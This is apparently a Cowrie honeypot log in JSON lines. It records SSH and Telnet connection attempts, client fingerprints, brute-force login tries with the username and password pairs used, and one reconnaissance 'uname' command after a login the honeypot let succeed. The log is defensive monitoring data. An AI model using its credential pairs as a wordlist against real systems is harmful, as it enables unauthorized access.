{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:45.309415Z","src_ip":"160.187.174.22","session":"a45f497d7dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:46.009845Z","src_ip":"160.187.174.22","session":"a45f497d7dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:47.243091Z","src_ip":"160.187.174.22","session":"a45f497d7dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55438,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e1c0fd77725","protocol":"ssh","message":"New connection: 103.153.68.219:55438 (159.203.135.109:22) [session: 3e1c0fd77725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:47.698921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:47.703059Z","src_ip":"103.153.68.219","session":"3e1c0fd77725","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:47.944822Z","src_ip":"103.153.68.219","session":"3e1c0fd77725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913","message":"login attempt [root/1357913] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:48.673541Z","src_ip":"103.153.68.219","session":"3e1c0fd77725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:49.917186Z","src_ip":"103.153.68.219","session":"3e1c0fd77725","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58048,"dst_ip":"159.203.135.109","dst_port":23,"session":"4471caedf6c7","protocol":"telnet","message":"New connection: 170.64.224.25:58048 (159.203.135.109:23) [session: 4471caedf6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:43:59.638287Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58058,"dst_ip":"159.203.135.109","dst_port":23,"session":"0032d5d20728","protocol":"telnet","message":"New connection: 170.64.224.25:58058 (159.203.135.109:23) [session: 0032d5d20728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:02.567891Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":53846,"dst_ip":"159.203.135.109","dst_port":22,"session":"611ad9730491","protocol":"ssh","message":"New connection: 85.214.154.50:53846 (159.203.135.109:22) [session: 611ad9730491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:03.165098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:03.169482Z","src_ip":"85.214.154.50","session":"611ad9730491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:03.270071Z","src_ip":"85.214.154.50","session":"611ad9730491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitcoin","password":"bitcoin123","message":"login attempt [bitcoin/bitcoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:03.575392Z","src_ip":"85.214.154.50","session":"611ad9730491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":41750,"dst_ip":"159.203.135.109","dst_port":23,"session":"89452b805f86","protocol":"telnet","message":"New connection: 143.198.154.150:41750 (159.203.135.109:23) [session: 89452b805f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:04.200428Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:04.678165Z","src_ip":"85.214.154.50","session":"611ad9730491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":41872,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fd0a762ff78","protocol":"ssh","message":"New connection: 103.98.149.87:41872 (10.17.0.5:22) [session: 7fd0a762ff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:04.865987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:04.869662Z","src_ip":"103.98.149.87","session":"7fd0a762ff78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:05.086660Z","src_ip":"103.98.149.87","session":"7fd0a762ff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.75282621383667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:05.253032Z","src_ip":"170.64.224.25","session":"b90448571dd6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:05.757387Z","src_ip":"103.98.149.87","session":"7fd0a762ff78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:06.977633Z","src_ip":"103.98.149.87","session":"7fd0a762ff78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41120,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd9c0652be3e","protocol":"ssh","message":"New connection: 160.187.174.22:41120 (159.203.135.109:22) [session: cd9c0652be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:14.028489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:14.032494Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:14.272892Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.84563589096069,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:14.724779Z","src_ip":"170.64.224.25","session":"527b372c4b22","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz@WSX","message":"login attempt [oracle/1qaz@WSX] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:15.015788Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:15.545633Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:15.547749Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:15.792092Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:15.796539Z","src_ip":"160.187.174.22","session":"cd9c0652be3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.67","src_port":62886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4fdc7a73f3e","protocol":"ssh","message":"New connection: 205.210.31.67:62886 (10.17.0.5:22) [session: a4fdc7a73f3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:22.650517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:23.676483Z","src_ip":"205.210.31.67","session":"a4fdc7a73f3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:24.767204Z","src_ip":"205.210.31.67","session":"a4fdc7a73f3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:33.362397Z","src_ip":"205.210.31.67","session":"a4fdc7a73f3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44460,"dst_ip":"159.203.135.109","dst_port":22,"session":"1770a7e1711d","protocol":"ssh","message":"New connection: 160.187.174.22:44460 (159.203.135.109:22) [session: 1770a7e1711d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:42.395508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:42.398959Z","src_ip":"160.187.174.22","session":"1770a7e1711d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:42.631846Z","src_ip":"160.187.174.22","session":"1770a7e1711d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:43.321475Z","src_ip":"160.187.174.22","session":"1770a7e1711d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:44.558918Z","src_ip":"160.187.174.22","session":"1770a7e1711d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.133395195007324,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:47.701181Z","src_ip":"170.64.224.25","session":"0032d5d20728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.074145793914795,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:44:51.274364Z","src_ip":"143.198.154.150","session":"89452b805f86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":55386,"dst_ip":"10.17.0.5","dst_port":22,"session":"6acb83abc107","protocol":"ssh","message":"New connection: 209.99.190.113:55386 (10.17.0.5:22) [session: 6acb83abc107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:02.458601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:45:02.462720Z","src_ip":"209.99.190.113","session":"6acb83abc107","protocol":"ssh"}
